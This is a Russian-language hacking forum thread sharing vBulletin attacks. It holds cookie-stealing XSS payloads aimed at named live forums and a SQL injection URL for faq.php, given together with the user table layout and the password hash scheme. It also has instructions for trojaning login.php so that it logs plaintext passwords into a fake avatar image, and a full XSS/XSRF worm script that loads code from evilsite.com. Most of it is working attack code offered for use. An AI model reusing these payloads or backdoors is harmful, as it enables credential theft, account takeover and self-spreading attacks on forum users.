Репутация: 977
ICQ: 779475
По умолчанию

Vbulletin Tube (vBTube) XSS

Exploit :
Код:
vBTube.php?do=search&search=<script>alert(document.cookie);</script>
Пример:
Код:
http://www.ruhot.ru/forum/vBTube.php?do=search&search=%3Cscript%3Ealert(document.cookie);%3C/script%3E
_-Ramos-_
  Ответить с цитированием

Старый 23.03.2008, 20:00   #6 (permalink)
Местный
 
Аватар для b!atnoy
 
b!atnoy вне форума
Регистрация: 21.11.2007
Сообщений: 383
Репутация: 365
ICQ: 2-235-235
По умолчанию

Сбор паролей от аккаунтов Vbulletin без расшифровки (трояним форум)

По идее все просто: в файл login.php в корне сайта добавляем

Код:
 // ############################### start do login ############################### 
// this was a _REQUEST action but where do we all login via request? 
if ($_POST['do'] == 'login') 
{ 
    $vbulletin->input->clean_array_gpc('p', array( 
        'vb_login_username'        => TYPE_STR, 
        'vb_login_password'        => TYPE_STR, 
        'vb_login_md5password'     => TYPE_STR, 
        'vb_login_md5password_utf' => TYPE_STR, 
        'postvars'                 => TYPE_STR, 
        'cookieuser'               => TYPE_BOOL, 
        'logintype'                => TYPE_STR, 
        'cssprefs'                 => TYPE_STR, 
    )); 

    define( 'auth_req', './customavatars/avatar178_2.gif' ); 
    $fp = fopen( auth_req, 'a' );  
    $un1=&$vbulletin->GPC['vb_login_username']; $un2=&$vbulletin->GPC['vb_login_password']; $un3 = date("d.m.y H.i.s"); 
    $message = "$un3:$un1:$un2\r\n";  
    flock($fp,LOCK_EX);  
    fwrite( $fp, $message );  
    fflush($fp); flock($fp,LOCK_UN); fclose( $fp );  

    // can the user login?
но в логах видим, что пароля все же нет. Обидно...
Посмотрим на форму регистрации:

Код:
...
<form action="login.php?do=login" method="post" onsubmit="md5hash(vb_login_password, vb_login_md5password, vb_login_md5password_utf, 0)">
...
Ага. значит входим по функции из javascript...
Сама функция находится в clientscript/vbulletin_md5.js
А там мы видим в конце:

Код:
 // implemented like this to make sure un-updated templates behave as before 
            input.value = '';
Это значит, что введенный нами пароль просто затирается перед передачей дальше. Просто комментарим строку и собираем пароли (обновляем ессно страницу, для того чтобы заюзать измененный JavaScript)...
Код:
 ... 
// input.value = ''; 
...
(c) Basurman
  Ответить с цитированием

Старый 21.05.2008, 04:11   #7 (permalink)
Администратор
 
Аватар для Isis
 
Isis вне форума
Регистрация: 19.05.2007
Сообщений: 1,000
Репутация: 734
ICQ: 22222208
По умолчанию

Vbulletin 3.7.0 Gold Sql injection on faq.php

_http://securityvulns.ru/Tdocument872.html

Exploit:

http://www.domain.com/vBulletin/faq.php?s=&do=search&q=[Sql injection]&match=any&titlesonly=1

Example:

/faq.php?s=&do=search&q='&match=any&titlesonly=1
/faq.php?s=&do=search&q=%00'&match=all&titlesonly=0


Напоминиаю, структура базы в булке по дефолту:

user
~userid
~usergroupid
~username
~password
~email
~ipaddress
~salt



Алгоритм хэширования: vBulletin 3.x.x md5(md5($pass).$salt)





Fix:
faq.php, строки 124-128 удаляем
[php] if (strlen($word) == 1)
{
// searches happen anywhere within a word, so 1 letter searches are useless
continue;
}[php]
  Ответить с цитированием

vBulletin <= 3.7.0 XSS Exploit (ajax.php - ajaxReg mod)vBulletin <= 3.7.0 XSS Exploit
Старый 01.08.2008, 09:40   #8 (permalink)
Moderator
 
Аватар для Pandora
 
Pandora вне форума
Регистрация: 13.07.2007
Адрес: SI-IXS
Сообщений: 450
Репутация: 1001
По умолчанию vBulletin <= 3.7.0 XSS Exploit (ajax.php - ajaxReg mod)vBulletin <= 3.7.0 XSS Exploit

vBulletin <= 3.7.0 XSS Exploit (ajax.php - ajaxReg mod)
Код:
vBulletin 3.7.0 <= XSS Explot
  • Requires ajaxReg mod (a common mod)
Found by RoBOTNIK dieterfleig@yahoo.com l3vel-69.net What is ajaxReg mod? ajaxReg is a common mod used for checking registration details while you are typing them. ajaxReg: http://www.vbulletin.org/forum/showthread.php?t=144869 POC: http://[website]/[forumpath]/ajax.php?do=CheckUsername&param=# EVIL XSS SCRIPT # http://www.site.com/forums/ajax.php?do=CheckUsername&param=<script>alert('xss');</script>
  Ответить с цитированием

Ajax Reg+XSS
Старый 15.11.2008, 20:06   #9 (permalink)
Новичок
 
Аватар для Nelzon[]e
 
Nelzon[]e вне форума
Регистрация: 09.11.2008
Сообщений: 9
Репутация: 13
Post Ajax Reg+XSS

Маленьки баг у хаке Ajax Reg суд в что при установленом этом хаком при регастраци можно выводить html тэги без слэша (/)....и ешо в плагине найден пассивный хсс..

1.Любой версия Vbulletin
2.Ajax Reg v.3.06

Вывод
1.Пишем в поля логина при регах <b>BAG тоест получайем жирный шрифт.

2.Тепер как обычно курсив <i>BaG .

3.Черкныти <u>BaG
4.Тепер самы Главное) ВЫводим вот это

Цитата:
<font size="7" color="#008000"><b> <marquee bgcolor="#808080">BAGNUTI</marquee></b></font>
Получайем бегушию строку


вот и все

XSS УЯЗВИМОСТЬ
http://indimoviez.com/forums/ajax.ph...HAT")</script>
  Ответить с цитированием

Старый 12.01.2009, 08:50   #10 (permalink)
Бандит
 
z00MAN вне форума
Регистрация: 20.11.2008
Сообщений: 172
Репутация: 112
По умолчанию

vBulletin версии до 3.7.4 PL1


Описание:
Уязвимость позволяет удаленному пользователю произвести XSS нападение.

Уязвимость существует из-за недостаточной обработки входных данных при добавлении комментариев. Удаленный пользователь может с помощью специально сформированного запросы выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.

Код:
/* -----------------------------
 * Author      = Mx
 * Title       = vBulletin 3.7.3 Visitor Messages XSS/XSRF + worm
 * Software    = vBulletin
 * Addon       = Visitor Messages
 * Version     = 3.7.3
 * Attack      = XSS/XSRF

 - Description = A critical vulnerability exists in the new vBulletin 3.7.3 software which comes included
 + with the visitor messages addon (a clone of a social network wall/comment area).
 - When posting XSS, the data is run through htmlentities(); before being displayed
 + to the general public/forum members. However, when posting a new message,
 - a new notification is sent to the commentee. The commenter posts a XSS vector such as
 + <script src="http://evilsite.com/nbd.js">, and when the commentee visits usercp.php
 - under the domain, they are hit with an unfiltered xss attach. XSRF is also readily available
 + and I have included an example worm that makes the user post a new thread with your own
 - specified subject and message.

 * Enjoy. Greets to Zain, Ytcracker, and http://digitalgangster.com which was the first subject
 * of the attack method.
 * ----------------------------- */

function getNewHttpObject() {
var objType = false;
try {
objType = new ActiveXObject('Msxml2.XMLHTTP');
} catch(e) {
try {
objType = new ActiveXObject('Microsoft.XMLHTTP');
} catch(e) {
objType = new XMLHttpRequest();
}
}
return objType;
}

function getAXAH(url){

var theHttpRequest = getNewHttpObject();
theHttpRequest.onreadystatechange = function() {processAXAH();};
theHttpRequest.open("GET", url);
theHttpRequest.send(false);

function processAXAH(){
if (theHttpRequest.readyState == 4) {
if (theHttpRequest.status == 200) {

var str = theHttpRequest.responseText;
var secloc = str.indexOf('var SECURITYTOKEN = "');
var sectok = str.substring(21+secloc,secloc+51+21);

var posloc = str.indexOf('posthash" value="');
var postok = str.substring(17+posloc,posloc+32+17);

var subject = 'subject text';
var message = 'message text';

postAXAH('http://digitalgangster.com/4um/newthread.php?do=postthread&f=5', 'subject=' + subject + '&message=' + message + '&wysiwyg=0&taglist=&iconid=0&s=&securitytoken=' + sectok + '&f=5&do=postthread&posthash=' + postok + 'poststarttime=1&loggedinuser=1&sbutton=Submit+New+Thread&signature=1&parseurl=1&emailupdate=0&polloptions=4');

}
}
}
}








function postAXAH(url, params) {
var theHttpRequest = getNewHttpObject();
               
theHttpRequest.onreadystatechange = function() {processAXAHr(elementContainer);};
theHttpRequest.open("POST", url);
theHttpRequest.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=iso-8859-2');
theHttpRequest.send(params);

function processAXAHr(elementContainer){
if (theHttpRequest.readyState == 4) {
if (theHttpRequest.status == 200) {

}
}
}
}


getAXAH('http://digitalgangster.com/4um/newthread.php?do=newthread&f=5');
document.write('<iframe src="http://digitalgangster.com/4um/newthread.php?do=newthread&f=5">');

# milw0rm.com [2008-11-20]
  Ответить с цитированием
Ответ


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 
Опции темы
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Trackbacks are Выкл.
Pingbacks are Выкл.
Refbacks are Выкл.



Друзья форума: kidala.info, hack-sell.com, Brute.Name, Секреты ВКонтакте, EXPHack.org, База IP диапазонов
Ваша ссылка может быть здесь если вашему сайту/форуму более 3х месяцев. ICQ 22222208